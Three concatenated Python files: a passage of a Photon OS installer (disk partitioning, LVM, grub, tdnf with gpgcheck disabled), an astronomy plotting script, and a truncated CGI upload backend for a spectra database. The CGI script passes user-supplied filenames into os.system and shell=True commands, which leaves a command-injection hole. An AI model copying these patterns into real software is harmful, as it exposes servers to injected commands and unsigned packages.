if retval != 0: self.logger.error("Failed to mount partition {}".format(partition["path"])) self.exit_gracefully() def _initialize_system(self): """ Prepare the system to install photon """ if self.install_config['ui']: self.progress_bar.update_message('Initializing system...') self._bind_installer() self._bind_repo_dir() # Initialize rpm DB self.cmd.run(['mkdir', '-p', os.path.join(self.photon_root, "var/lib/rpm")]) retval = self.cmd.run(['rpm', '--root', self.photon_root, '--initdb', '--dbpath', '/var/lib/rpm']) if retval != 0: self.logger.error("Failed to initialize rpm DB") self.exit_gracefully() # Install filesystem rpm tdnf_cmd = "tdnf install filesystem --installroot {0} --assumeyes -c {1}".format(self.photon_root, self.tdnf_conf_path) retval = self.cmd.run(tdnf_cmd) if retval != 0: retval = self.cmd.run(['docker', 'run', '-v', self.rpm_cache_dir+':'+self.rpm_cache_dir, '-v', self.working_directory+':'+self.working_directory, 'photon:3.0', '/bin/sh', '-c', tdnf_cmd]) if retval != 0: self.logger.error("Failed to install filesystem rpm") self.exit_gracefully() # Create special devices. We need it when devtpmfs is not mounted yet. devices = { 'console': (600, stat.S_IFCHR, 5, 1), 'null': (666, stat.S_IFCHR, 1, 3), 'random': (444, stat.S_IFCHR, 1, 8), 'urandom': (444, stat.S_IFCHR, 1, 9) } for device, (mode, dev_type, major, minor) in devices.items(): os.mknod(os.path.join(self.photon_root, "dev", device), mode | dev_type, os.makedev(major, minor)) def _mount_special_folders(self): for d in ["/proc", "/dev", "/dev/pts", "/sys"]: retval = self.cmd.run(['mount', '-o', 'bind', d, self.photon_root + d]) if retval != 0: self.logger.error("Failed to bind mount {}".format(d)) self.exit_gracefully() for d in ["/tmp", "/run"]: retval = self.cmd.run(['mount', '-t', 'tmpfs', 'tmpfs', self.photon_root + d]) if retval != 0: self.logger.error("Failed to bind mount {}".format(d)) self.exit_gracefully() def _copy_additional_files(self): if 'additional_files' in self.install_config: for filetuples in self.install_config['additional_files']: for src, dest in filetuples.items(): if src.startswith('http://') or src.startswith('https://'): temp_file = tempfile.mktemp() result, msg = CommandUtils.wget(src, temp_file, False) if result: shutil.copyfile(temp_file, self.photon_root + dest) else: self.logger.error("Download failed URL: {} got error: {}".format(src, msg)) else: srcpath = self.getfile(src) if (os.path.isdir(srcpath)): shutil.copytree(srcpath, self.photon_root + dest, True) else: shutil.copyfile(srcpath, self.photon_root + dest) def _finalize_system(self): """ Finalize the system after the installation """ if self.install_config['ui']: self.progress_bar.show_loading('Finalizing installation') self._copy_additional_files() self.cmd.run_in_chroot(self.photon_root, "/sbin/ldconfig") # Importing the pubkey self.cmd.run_in_chroot(self.photon_root, "rpm --import /etc/pki/rpm-gpg/*") def _cleanup_install_repo(self): self._unbind_installer() self._unbind_repo_dir() # remove the tdnf cache directory. retval = self.cmd.run(['rm', '-rf', os.path.join(self.photon_root, "cache")]) if retval != 0: self.logger.error("Fail to remove the cache") if os.path.exists(self.tdnf_conf_path): os.remove(self.tdnf_conf_path) if os.path.exists(self.tdnf_repo_path): os.remove(self.tdnf_repo_path) def _setup_grub(self): bootmode = self.install_config['bootmode'] self.cmd.run(['mkdir', '-p', self.photon_root + '/boot/grub2']) self.cmd.run(['ln', '-sfv', 'grub2', self.photon_root + '/boot/grub']) # Setup bios grub if bootmode == 'dualboot' or bootmode == 'bios': retval = self.cmd.run('grub2-install --target=i386-pc --force --boot-directory={} {}'.format(self.photon_root + "/boot", self.install_config['disk'])) if retval != 0: retval = self.cmd.run(['grub-install', '--target=i386-pc', '--force', '--boot-directory={}'.format(self.photon_root + "/boot"), self.install_config['disk']]) if retval != 0: raise Exception("Unable to setup grub") # Setup efi grub if bootmode == 'dualboot' or bootmode == 'efi': esp_pn = '1' if bootmode == 'dualboot': esp_pn = '2' self.cmd.run(['mkdir', '-p', self.photon_root + '/boot/efi/EFI/BOOT']) if self.install_config['arch'] == 'aarch64': shutil.copy(self.installer_path + '/EFI_aarch64/BOOT/bootaa64.efi', self.photon_root + '/boot/efi/EFI/BOOT') exe_name='bootaa64.efi' if self.install_config['arch'] == 'x86_64': shutil.copy(self.installer_path + '/EFI_x86_64/BOOT/bootx64.efi', self.photon_root + '/boot/efi/EFI/BOOT') shutil.copy(self.installer_path + '/EFI_x86_64/BOOT/grubx64.efi', self.photon_root + '/boot/efi/EFI/BOOT') exe_name='bootx64.efi' self.cmd.run(['mkdir', '-p', self.photon_root + '/boot/efi/boot/grub2']) with open(os.path.join(self.photon_root, 'boot/efi/boot/grub2/grub.cfg'), "w") as grub_cfg: grub_cfg.write("search -n -u {} -s\n".format(self._get_uuid(self.install_config['partitions_data']['boot']))) grub_cfg.write("configfile {}grub2/grub.cfg\n".format(self.install_config['partitions_data']['bootdirectory'])) if self.install_config['live']: # Some platforms do not support adding boot entry. Thus, ignore failures self.cmd.run(['efibootmgr', '--create', '--remove-dups', '--disk', self.install_config['disk'], '--part', esp_pn, '--loader', '/EFI/BOOT/' + exe_name, '--label', 'Photon']) # Copy grub theme files shutil.copy(self.installer_path + '/boot/ascii.pf2', self.photon_root + '/boot/grub2') self.cmd.run(['mkdir', '-p', self.photon_root + '/boot/grub2/themes/photon']) shutil.copy(self.installer_path + '/boot/splash.png', self.photon_root + '/boot/grub2/themes/photon/photon.png') shutil.copy(self.installer_path + '/boot/theme.txt', self.photon_root + '/boot/grub2/themes/photon') for f in glob.glob(os.path.abspath(self.installer_path) + '/boot/terminal_*.tga'): shutil.copy(f, self.photon_root + '/boot/grub2/themes/photon') # Create custom grub.cfg retval = self.cmd.run( [self.setup_grub_command, self.photon_root, self.install_config['partitions_data']['root'], self.install_config['partitions_data']['boot'], self.install_config['partitions_data']['bootdirectory']]) if retval != 0: raise Exception("Bootloader (grub2) setup failed") def _execute_modules(self, phase): """ Execute the scripts in the modules folder """ sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), "modules"))) modules_paths = glob.glob(os.path.abspath(os.path.join(os.path.dirname(__file__), 'modules')) + '/m_*.py') for mod_path in modules_paths: module = os.path.splitext(os.path.basename(mod_path))[0] try: __import__(module) mod = sys.modules[module] except ImportError: self.logger.error('Error importing module {}'.format(module)) continue # the module default is disabled if not hasattr(mod, 'enabled') or mod.enabled is False: self.logger.info("module {} is not enabled".format(module)) continue # check for the install phase if not hasattr(mod, 'install_phase'): self.logger.error("Error: can not defind module {} phase".format(module)) continue if mod.install_phase != phase: self.logger.info("Skipping module {0} for phase {1}".format(module, phase)) continue if not hasattr(mod, 'execute'): self.logger.error("Error: not able to execute module {}".format(module)) continue self.logger.info("Executing: " + module) mod.execute(self) def _adjust_packages_for_vmware_virt(self): """ Install linux_esx on Vmware virtual machine if requested """ if self.install_config['install_linux_esx']: if 'linux' in self.install_config['packages']: self.install_config['packages'].remove('linux') else: regex = re.compile(r'(?!linux-[0-9].*)') self.install_config['packages'] = list(filter(regex.match,self.install_config['packages'])) self.install_config['packages'].append('linux-esx') else: regex = re.compile(r'(?!linux-esx-[0-9].*)') self.install_config['packages'] = list(filter(regex.match,self.install_config['packages'])) def _add_packages_to_install(self, package): """ Install packages on Vmware virtual machine if requested """ self.install_config['packages'].append(package) def _setup_install_repo(self): """ Setup the tdnf repo for installation """ keepcache = False with open(self.tdnf_repo_path, "w") as repo_file: repo_file.write("[photon-local]\n") repo_file.write("name=VMWare Photon installer repo\n") if self.rpm_path.startswith("https://") or self.rpm_path.startswith("http://"): repo_file.write("baseurl={}\n".format(self.rpm_path)) else: repo_file.write("baseurl=file://{}\n".format(self.rpm_cache_dir)) keepcache = True repo_file.write("gpgcheck=0\nenabled=1\n") with open(self.tdnf_conf_path, "w") as conf_file: conf_file.writelines([ "[main]\n", "gpgcheck=0\n", "installonly_limit=3\n", "clean_requirements_on_remove=true\n"]) # baseurl and cachedir are bindmounted to rpm_path, we do not # want input RPMS to be removed after installation. if keepcache: conf_file.write("keepcache=1\n") conf_file.write("repodir={}\n".format(self.working_directory)) conf_file.write("cachedir={}\n".format(self.rpm_cache_dir_short)) def _install_additional_rpms(self): rpms_path = self.install_config.get('additional_rpms_path', None) if not rpms_path or not os.path.exists(rpms_path): return if self.cmd.run([ 'rpm', '--root', self.photon_root, '-U', rpms_path + '/*.rpm' ]) != 0: self.logger.info('Failed to install additional_rpms from ' + rpms_path) self.exit_gracefully() def _install_packages(self): """ Install packages using tdnf command """ self._adjust_packages_for_vmware_virt() selected_packages = self.install_config['packages'] state = 0 packages_to_install = {} total_size = 0 stderr = None tdnf_cmd = "tdnf install --installroot {0} --assumeyes -c {1} {2}".format(self.photon_root, self.tdnf_conf_path, " ".join(selected_packages)) self.logger.debug(tdnf_cmd) # run in shell to do not throw exception if tdnf not found process = subprocess.Popen(tdnf_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) if self.install_config['ui']: while True: output = process.stdout.readline().decode() if output == '': retval = process.poll() if retval is not None: stderr = process.communicate()[1] break if state == 0: if output == 'Installing:\n': state = 1 elif state == 1: #N A EVR Size(readable) Size(in bytes) if output == '\n': state = 2 self.progress_bar.update_num_items(total_size) else: info = output.split() package = '{0}-{1}.{2}'.format(info[0], info[2], info[1]) packages_to_install[package] = int(info[5]) total_size += int(info[5]) elif state == 2: if output == 'Downloading:\n': self.progress_bar.update_message('Preparing ...') state = 3 elif state == 3: self.progress_bar.update_message(output) if output == 'Running transaction\n': state = 4 else: self.logger.info("[tdnf] {0}".format(output)) prefix = 'Installing/Updating: ' if output.startswith(prefix): package = output[len(prefix):].rstrip('\n') self.progress_bar.increment(packages_to_install[package]) self.progress_bar.update_message(output) else: stdout,stderr = process.communicate() self.logger.info(stdout.decode()) retval = process.returncode # image creation. host's tdnf might not be available or can be outdated (Photon 1.0) # retry with docker container if retval != 0 and retval != 137: self.logger.error(stderr.decode()) stderr = None self.logger.info("Retry 'tdnf install' using docker image") retval = self.cmd.run(['docker', 'run', '-v', self.rpm_cache_dir+':'+self.rpm_cache_dir, '-v', self.working_directory+':'+self.working_directory, 'photon:3.0', '/bin/sh', '-c', tdnf_cmd]) # 0 : succeed; 137 : package already installed; 65 : package not found in repo. if retval != 0 and retval != 137: self.logger.error("Failed to install some packages") if stderr: self.logger.error(stderr.decode()) self.exit_gracefully() def _eject_cdrom(self): """ Eject the cdrom on request """ if self.install_config.get('eject_cdrom', True): self.cmd.run(['eject', '-r']) def _enable_network_in_chroot(self): """ Enable network in chroot """ if os.path.exists("/etc/resolv.conf"): shutil.copy("/etc/resolv.conf", self.photon_root + '/etc/.') def _disable_network_in_chroot(self): """ disable network in chroot """ if os.path.exists(self.photon_root + '/etc/resolv.conf'): os.remove(self.photon_root + '/etc/resolv.conf') def partition_compare(self, p): if 'mountpoint' in p: return (1, len(p['mountpoint']), p['mountpoint']) return (0, 0, "A") def _get_partition_path(self, disk, part_idx): prefix = '' if 'nvme' in disk or 'mmcblk' in disk or 'loop' in disk: prefix = 'p' # loop partitions device names are /dev/mapper/loopXpY instead of /dev/loopXpY if 'loop' in disk: path = '/dev/mapper' + disk[4:] + prefix + repr(part_idx) else: path = disk + prefix + repr(part_idx) return path def _get_partition_type(self, partition): if partition['filesystem'] == 'bios': return PartitionType.BIOS if partition['filesystem'] == 'swap': return PartitionType.SWAP if partition.get('mountpoint', '') == '/boot/efi' and partition['filesystem'] == 'vfat': return PartitionType.ESP if partition.get('lvm', None): return PartitionType.LVM return PartitionType.LINUX def _partition_type_to_string(self, ptype): if ptype == PartitionType.BIOS: return 'ef02' if ptype == PartitionType.SWAP: return '8200' if ptype == PartitionType.ESP: return 'ef00' if ptype == PartitionType.LVM: return '8e00' if ptype == PartitionType.LINUX: return '8300' raise Exception("Unknown partition type: {}".format(ptype)) def _create_logical_volumes(self, physical_partition, vg_name, lv_partitions, extensible): """ Create logical volumes """ #Remove LVM logical volumes and volume groups if already exists #Existing lvs & vg should be removed to continue re-installation #else pvcreate command fails to create physical volumes even if executes forcefully retval = self.cmd.run(['bash', '-c', 'pvs | grep {}'. format(vg_name)]) if retval == 0: #Remove LV's associated to VG and VG retval = self.cmd.run(["vgremove", "-f", vg_name]) if retval != 0: self.logger.error("Error: Failed to remove existing vg before installation {}". format(vg_name)) # if vg is not extensible (all lvs inside are known size) then make last lv # extensible, i.e. shrink it. Srinking last partition is important. We will # not be able to provide specified size because given physical partition is # also used by LVM header. extensible_logical_volume = None if not extensible: extensible_logical_volume = lv_partitions[-1] extensible_logical_volume['size'] = 0 # create physical volume command = ['pvcreate', '-ff', '-y', physical_partition] retval = self.cmd.run(command) if retval != 0: raise Exception("Error: Failed to create physical volume, command : {}".format(command)) # create volume group command = ['vgcreate', vg_name, physical_partition] retval = self.cmd.run(command) if retval != 0: raise Exception("Error: Failed to create volume group, command = {}".format(command)) # create logical volumes for partition in lv_partitions: lv_cmd = ['lvcreate', '-y'] lv_name = partition['lvm']['lv_name'] size = partition['size'] if partition['size'] == 0: # Each volume group can have only one extensible logical volume if not extensible_logical_volume: extensible_logical_volume = partition else: lv_cmd.extend(['-L', '{}M'.format(partition['size']), '-n', lv_name, vg_name ]) retval = self.cmd.run(lv_cmd) if retval != 0: raise Exception("Error: Failed to create logical volumes , command: {}".format(lv_cmd)) partition['path'] = '/dev/' + vg_name + '/' + lv_name # create extensible logical volume if not extensible_logical_volume: raise Exception("Can not fully partition VG: " + vg_name) lv_name = extensible_logical_volume['lvm']['lv_name'] lv_cmd = ['lvcreate', '-y'] lv_cmd.extend(['-l', '100%FREE', '-n', lv_name, vg_name ]) retval = self.cmd.run(lv_cmd) if retval != 0: raise Exception("Error: Failed to create extensible logical volume, command = {}". format(lv_cmd)) # remember pv/vg for detaching it later. self.lvs_to_detach['pvs'].append(os.path.basename(physical_partition)) self.lvs_to_detach['vgs'].append(vg_name) def _get_partition_tree_view(self): # Tree View of partitions list, to be returned. # 1st level: dict of disks # 2nd level: list of physical partitions, with all information necessary to partition the disk # 3rd level: list of logical partitions (LVM) or detailed partition information needed to format partition ptv = {} # Dict of VG's per disk. Purpose of this dict is: # 1) to collect its LV's # 2) to accumulate total size # 3) to create physical partition representation for VG vg_partitions = {} default_disk = self.install_config['disk'] partitions = self.install_config['partitions'] for partition in partitions: disk = partition.get('disk', default_disk) if disk not in ptv: ptv[disk] = [] if disk not in vg_partitions: vg_partitions[disk] = {} if partition.get('lvm', None): vg_name = partition['lvm']['vg_name'] if vg_name not in vg_partitions[disk]: vg_partitions[disk][vg_name] = { 'size': 0, 'type': self._partition_type_to_string(PartitionType.LVM), 'extensible': False, 'lvs': [], 'vg_name': vg_name } vg_partitions[disk][vg_name]['lvs'].append(partition) if partition['size'] == 0: vg_partitions[disk][vg_name]['extensible'] = True vg_partitions[disk][vg_name]['size'] = 0 else: if not vg_partitions[disk][vg_name]['extensible']: vg_partitions[disk][vg_name]['size'] = vg_partitions[disk][vg_name]['size'] + partition['size'] else: if 'type' in partition: ptype_code = partition['type'] else: ptype_code = self._partition_type_to_string(self._get_partition_type(partition)) l2entry = { 'size': partition['size'], 'type': ptype_code, 'partition': partition } ptv[disk].append(l2entry) # Add accumulated VG partitions for disk, vg_list in vg_partitions.items(): ptv[disk].extend(vg_list.values()) return ptv def _insert_boot_partitions(self): bios_found = False esp_found = False for partition in self.install_config['partitions']: ptype = self._get_partition_type(partition) if ptype == PartitionType.BIOS: bios_found = True if ptype == PartitionType.ESP: esp_found = True # Adding boot partition required for ostree if already not present in partitions table if 'ostree' in self.install_config: mount_points = [partition['mountpoint'] for partition in self.install_config['partitions'] if 'mountpoint' in partition] if '/boot' not in mount_points: boot_partition = {'size': 300, 'filesystem': 'ext4', 'mountpoint': '/boot'} self.install_config['partitions'].insert(0, boot_partition) bootmode = self.install_config.get('bootmode', 'bios') # Insert efi special partition if not esp_found and (bootmode == 'dualboot' or bootmode == 'efi'): efi_partition = { 'size': 10, 'filesystem': 'vfat', 'mountpoint': '/boot/efi' } self.install_config['partitions'].insert(0, efi_partition) # Insert bios partition last to be very first if not bios_found and (bootmode == 'dualboot' or bootmode == 'bios'): bios_partition = { 'size': 4, 'filesystem': 'bios' } self.install_config['partitions'].insert(0, bios_partition) def _partition_disk(self): """ Partition the disk """ if self.install_config['ui']: self.progress_bar.update_message('Partitioning...') self._insert_boot_partitions() ptv = self._get_partition_tree_view() partitions = self.install_config['partitions'] partitions_data = {} lvm_present = False # Partitioning disks for disk, l2entries in ptv.items(): # Clear the disk first retval = self.cmd.run(['sgdisk', '-o', '-g', disk]) if retval != 0: raise Exception("Failed clearing disk {0}".format(disk)) # Build partition command and insert 'part' into 'partitions' partition_cmd = ['sgdisk'] part_idx = 1 # command option for extensible partition last_partition = None for l2 in l2entries: if 'lvs' in l2: # will be used for _create_logical_volumes() invocation l2['path'] = self._get_partition_path(disk, part_idx) else: l2['partition']['path'] = self._get_partition_path(disk, part_idx) if l2['size'] == 0: last_partition = [] last_partition.extend(['-n{}'.format(part_idx)]) last_partition.extend(['-t{}:{}'.format(part_idx, l2['type'])]) else: partition_cmd.extend(['-n{}::+{}M'.format(part_idx, l2['size'])]) partition_cmd.extend(['-t{}:{}'.format(part_idx, l2['type'])]) part_idx = part_idx + 1 # if extensible partition present, add it to the end of the disk if last_partition: partition_cmd.extend(last_partition) partition_cmd.extend(['-p', disk]) # Run the partitioning command (all physical partitions in one shot) retval = self.cmd.run(partition_cmd) if retval != 0: raise Exception("Failed partition disk, command: {0}".format(partition_cmd)) # For RPi image we used 'parted' instead of 'sgdisk': # parted -s $IMAGE_NAME mklabel msdos mkpart primary fat32 1M 30M mkpart primary ext4 30M 100% # Try to use 'sgdisk -m' to convert GPT to MBR and see whether it works. if self.install_config.get('partition_type', 'gpt') == 'msdos': # m - colon separated partitions list m = ":".join([str(i) for i in range(1,part_idx)]) retval = self.cmd.run(['sgdisk', '-m', m, disk]) if retval != 0: raise Exception("Failed to setup efi partition") # Make loop disk partitions available if 'loop' in disk: retval = self.cmd.run(['kpartx', '-avs', disk]) if retval != 0: raise Exception("Failed to rescan partitions of the disk image {}". format(disk)) # Go through l2 entries again and create logical partitions for l2 in l2entries: if 'lvs' not in l2: continue lvm_present = True self._create_logical_volumes(l2['path'], l2['vg_name'], l2['lvs'], l2['extensible']) if lvm_present: # add lvm2 package to install list self._add_packages_to_install('lvm2') # Create partitions_data (needed for mk-setup-grub.sh) for partition in partitions: if "mountpoint" in partition: if partition['mountpoint'] == '/': partitions_data['root'] = partition['path'] elif partition['mountpoint'] == '/boot': partitions_data['boot'] = partition['path'] partitions_data['bootdirectory'] = '/' # If no separate boot partition, then use /boot folder from root partition if 'boot' not in partitions_data: partitions_data['boot'] = partitions_data['root'] partitions_data['bootdirectory'] = '/boot/' # Sort partitions by mountpoint to be able to mount and # unmount it in proper sequence partitions.sort(key=lambda p: self.partition_compare(p)) self.install_config['partitions_data'] = partitions_data def _format_partitions(self): partitions = self.install_config['partitions'] self.logger.info(partitions) # Format the filesystem for partition in partitions: ptype = self._get_partition_type(partition) # Do not format BIOS boot partition if ptype == PartitionType.BIOS: continue if ptype == PartitionType.SWAP: mkfs_cmd = ['mkswap'] else: mkfs_cmd = ['mkfs', '-t', partition['filesystem']] if 'fs_options' in partition: options = re.sub("[^\S]", " ", partition['fs_options']).split() mkfs_cmd.extend(options) mkfs_cmd.extend([partition['path']]) retval = self.cmd.run(mkfs_cmd) if retval != 0: raise Exception( "Failed to format {} partition @ {}".format(partition['filesystem'], partition['path'])) def getfile(self, filename): """ Returns absolute filepath by filename. """ for dirname in self.install_config['search_path']: filepath = os.path.join(dirname, filename) if os.path.exists(filepath): return filepath raise Exception("File {} not found in the following directories {}".format(filename, self.install_config['search_path']))
python
"""Runs commands to produce convolved predicted counts map in current directory. """ import matplotlib.pyplot as plt from astropy.io import fits from npred_general import prepare_images from aplpy import FITSFigure model, gtmodel, ratio, counts, header = prepare_images() # Plotting fig = plt.figure() hdu1 = fits.ImageHDU(model, header) f1 = FITSFigure(hdu1, figure=fig, convention='wells', subplot=[0.18, 0.264, 0.18, 0.234]) f1.tick_labels.set_font(size='x-small') f1.tick_labels.set_xformat('ddd') f1.tick_labels.set_yformat('ddd') f1.axis_labels.hide_x() f1.show_colorscale(vmin=0, vmax=0.3) hdu2 = fits.ImageHDU(gtmodel, header) f2 = FITSFigure(hdu2, figure=fig, convention='wells', subplot=[0.38, 0.25, 0.2, 0.26]) f2.tick_labels.set_font(size='x-small') f2.tick_labels.set_xformat('ddd') f2.tick_labels.hide_y() f2.axis_labels.hide_y() f2.show_colorscale(vmin=0, vmax=0.3) f2.add_colorbar() f2.colorbar.set_width(0.1) f2.colorbar.set_location('right') hdu3 = fits.ImageHDU(ratio, header) f3 = FITSFigure(hdu3, figure=fig, convention='wells', subplot=[0.67, 0.25, 0.2, 0.26]) f3.tick_labels.set_font(size='x-small') f3.tick_labels.set_xformat('ddd') f3.tick_labels.hide_y() f3.axis_labels.hide() f3.show_colorscale(vmin=0.9, vmax=1.1) f3.add_colorbar() f3.colorbar.set_width(0.1) f3.colorbar.set_location('right') fig.text(0.19, 0.53, "Gammapy Background", color='black', size='9') fig.text(0.39, 0.53, "Fermi Tools Background", color='black', size='9') fig.text(0.68, 0.53, "Ratio: \n Gammapy/Fermi Tools", color='black', size='9') fig.canvas.draw()
python
#!/usr/bin/python3 #-*- coding: utf-8 -*- from cgi import FieldStorage from json import dumps from base64 import b64decode import subprocess import sqlite3 import zlib import struct import os alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012345678901234567890123456789012345678901234567890123456789" hash_len = 32 def dict_rows(cur): return [{k: v for k, v in zip(cur.description, row)} for row in cur] def dict_row(cur): return {k[0]: v for k, v in zip(cur.description, cur.fetchone())} form = FieldStorage(environ={'REQUEST_METHOD':'POST'}) command = form.getvalue('command') print("Content-Type: text/html") print() conf = {} with open("../qsdb.conf", mode="rt") as fl: for line in fl: line = line.strip().strip(" ") if len(line) < 1 or line[0] == "#": continue token = line.split("=") if len(token) < 2: continue conf[token[0].strip(" ")] = token[1].strip(" ") data_dir = "%s/tmp/upload" % conf["root_path"] conn, my_cur = 0, 0 try: database = "%s/data/database.sqlite" % conf["root_path"] conn = sqlite3.connect(database) my_cur = conn.cursor() except: print(-1) exit() try: len(command) except: print("#command parameter not found") exit() def register_file(): filename = form.getvalue('filename') file_type = form.getvalue('file_type') chunk_num = form.getvalue('chunk_num') species = form.getvalue('species') if "species" in form else "" tissue = form.getvalue('tissue') if "tissue" in form else "" try: len(filename), len(file_type), int(chunk_num) except: return "#register_file: register parameters not valid" if file_type not in ["spectra", "ident"]: return "#no valid file type" if file_type == "ident" and species == "": return "#register_file: register ident not valid" if file_type == "spectra" and tissue == "": return "#register_file: register spectra not valid" file_id = -1 sql_query = "select id from files where filename = ?;" my_cur.execute(sql_query, (filename,)) if my_cur.rowcount: file_id = dict_row(my_cur)['id'] else: sql_query = "insert into files (type, chunk_num, filename, species, tissue) values (?, ?, ?, ?, ?);" my_cur.execute(sql_query, (file_type, chunk_num, filename, species, tissue)) conn.commit() sql_query = "select max(id) max_id from files f;" my_cur.execute(sql_query) file_id = dict_row(my_cur)['max_id'] return file_id def get_check_sum(): file_id = form.getvalue('file_id') chunk_num = form.getvalue('chunk_num') try: int(file_id), int(chunk_num) except: return "#get_check_sum: checksum parameters not valid" md5 = -1 sql_query = "SELECT c.checksum FROM chunks c INNER JOIN files f ON c.file_id = f.id WHERE f.id = ? AND c.chunk_num = ?;" my_cur.execute(sql_query, (file_id, chunk_num)) if my_cur.rowcount: md5 = dict_row(my_cur)['checksum'] return md5 def send_file(): file_id = form.getvalue('file_id') chunk_num = form.getvalue('chunk_num') chunk_type = form.getvalue('type') checksum = form.getvalue('checksum') content = form.getvalue('content') try: int(file_id), len(chunk_num), len(chunk_type), len(checksum), len(content) except: return "#send_file: send parameters not valid" sql_query = "SELECT * FROM files WHERE id = ?;" my_cur.execute(sql_query, (file_id,)) if my_cur.rowcount: row = dict_row(my_cur) chunk_max = int(row["chunk_num"]) filename = row["filename"] chunk_name = "%s.%s" % (filename, chunk_num) with open("%s/%s" % (data_dir, chunk_name), mode="wb") as fl: content = (content + '===')[: len(content) + (len(content) % 4)] content = content.replace('-', '+').replace('_', '/') fl.write(b64decode(content)) sql_query = "select id from chunks where chunk_num = ? and file_id = ?;" my_cur.execute(sql_query, (chunk_num, file_id)) if my_cur.rowcount: sql_query = "update chunks set checksum = ? where chunk_num = ? and file_id = ?;" my_cur.execute(sql_query, (checksum, chunk_num, file_id)) conn.commit() else: sql_query = "insert into chunks (file_id, checksum, chunk_num, type, filename) values (?, ?, ?, ?, '');" my_cur.execute(sql_query, (file_id, checksum, chunk_num, chunk_type)) conn.commit() sql_query = "select * from chunks where file_id = ? ORDER BY chunk_num;" my_cur.execute(sql_query, (file_id,)) if my_cur.rowcount == chunk_max: cwd = "%s/admin/scripts" % conf["root_path"] with open("%s/run-prepare-blib.sh" % data_dir, mode = "wt") as script_file: joined_chunks = " ".join("'%s/%s.%i'" % (data_dir, filename, row["chunk_num"]) for row in dict_rows(my_cur)) script_file.write("cat %s > '%s/%s'\n" % (joined_chunks, data_dir, filename)) script_file.write("rm -f %s\n" % joined_chunks) data_path = "'%s/%s'" % (data_dir, filename) prep_blib = "%s/prepare-blib.bin" % cwd script_file.write("%s %s %s &\n" % (prep_blib, data_path, file_id)) #script_file.write("echo 0 > %s/progress.dat \n" % data_dir) os.system("/bin/chmod 777 %s/run-prepare-blib.sh" % data_dir) pid = subprocess.Popen(["%s/run-prepare-blib.sh &" % data_dir], cwd = cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) return 0 return "#send_file: corresponding file not found" def check_ident(): sql_query = "SELECT * FROM files WHERE type = 'ident';" my_cur.execute(sql_query) if my_cur.rowcount: row = dict_row(my_cur) file_id = row["id"] data = {key: row[key] for key in row} sql_query = "SELECT * FROM chunks WHERE file_id = ? AND type='chunk';" my_cur.execute(sql_query, (file_id,)) data["uploaded"] = my_cur.rowcount return dumps(data) else: return "{}" def check_blib_progress(): fname = "%s/progress.dat" % data_dir if not os.path.isfile(fname): return 0 else: with open(fname, mode = "rt") as content_file: content = content_file.read().strip().strip(" ") if len(content) == 0: return 0 return content def start_convertion(): os.system("rm -f '%s/progress.dat'" % data_dir) os.system("rm -f '%s/inserting.dat'" % data_dir) os.system("rm -f '%s/spectra.blib'" % data_dir) os.system("rm -f '%s/tmp.blib'" % data_dir) cwd = "%s/admin/scripts" % conf["root_path"] command = "%s/create-blib.bin &" % cwd pid = subprocess.Popen([command], cwd = cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) return 0 def delete_file(): file_id = form.getvalue('file_id') try: int(file_id) except: return "#delete_file: delete file parameters not valid" try: sql_query = "SELECT * FROM files WHERE id = ?;" my_cur.execute(sql_query, (file_id,)) if my_cur.rowcount: row = dict_row(my_cur) # no matter which file will be deleted, spectra.blib must be deleted, too os.system("rm -f '%s/spectra.blib'" % data_dir) os.system("rm -f '%s/merged.blib'" % data_dir) os.system("rm -f '%s/tmp.blib'" % data_dir) os.system("rm -f '%s/progress.dat'" % data_dir) os.system("rm -f '%s/inserting.dat'" % data_dir) os.system("rm -f '%s/run-prepare-blib.sh'" % data_dir) # delete dependant spectrum files if row["type"] == "ident": os.system("rm -f '%s/data.dat'" % data_dir) sql_query = "SELECT f.id, f.filename FROM chunks c INNER JOIN files f ON f.filename = c.filename WHERE c.file_id = ? AND c.type = 'depend';" my_cur.execute(sql_query, (file_id,)) depends = dict_rows(my_cur) for depend in depends: # delete chunks from file system sql_query = "SELECT * FROM chunks WHERE file_id = ?;" my_cur.execute(sql_query, (depend["id"],)) for row in dict_rows(my_cur): command = "rm -f '%s/%s.%s'" % (data_dir, depend['filename'], row["chunk_num"]) os.system(command) # delete chunks from datebase sql_query = "DELETE FROM chunks WHERE file_id = ?;" my_cur.execute(sql_query, (depend["id"],)) # delete files from file system sql_query = "select * from files WHERE id = ?;" my_cur.execute(sql_query, (depend["id"],)) for row in dict_rows(my_cur): os.system("rm -f '%s/%s'" %(data_dir, row["filename"])) # delete files from database sql_query = "delete f from files f WHERE f.id = ?;" my_cur.execute(sql_query, (depend["id"],)) conn.commit() filename = row["filename"] # delete chunks from file system sql_query = "SELECT * FROM chunks WHERE file_id = ?;" my_cur.execute(sql_query, (file_id,)) for row in dict_rows(my_cur): command = "rm -f '%s/%s.%s'" % (data_dir, filename, row["chunk_num"]) os.system(command) # delete chunks from datebase sql_query = "DELETE FROM chunks WHERE file_id = ?;" my_cur.execute(sql_query, (file_id,)) conn.commit() # delete files from file system sql_query = "SELECT * FROM files WHERE id = ?;" my_cur.execute(sql_query, (file_id,)) for row in dict_rows(my_cur): os.system("rm -f '%s/%s'" %(data_dir, row["filename"])) # delete files from database sql_query = "DELETE FROM files WHERE id = ?;" my_cur.execute(sql_query, (file_id,)) conn.commit() return 0 else: return "#No such file in database registered" except Exception as e: return "#" + str(e) def load_dependencies(): sql_query = "SELECT * FROM files WHERE type = 'ident';" my_cur.execute(sql_query) if my_cur.rowcount: row = dict_row(my_cur) file_id = row["id"] sql_query = "SELECT c2.file_id, c.filename, count(c2.id) as uploaded, f.chunk_num, f.tissue FROM chunks c LEFT JOIN files f on c.filename = f.filename LEFT JOIN chunks c2 ON f.id = c2.file_id WHERE c.file_id = ? AND c.type='depend' GROUP BY c2.file_id, c.filename, f.chunk_num, f.tissue;" my_cur.execute(sql_query, (file_id,)) data = [{key: row[key] for key in row} for row in dict_rows(my_cur)] return dumps(data) else: return "{}" def select_spectra(): db = sqlite3.connect("%s/spectra.blib" % data_dir) cur = db.cursor() limit = form.getvalue('limit') if type(limit) is not str: return "#-3" limits = limit.split(",") for l in limits: try: a = int(l) except: return "#-4" sql_query = "SELECT id, peptideModSeq, precursorCharge, scoreType FROM RefSpectra ORDER BY id LIMIT ?;" 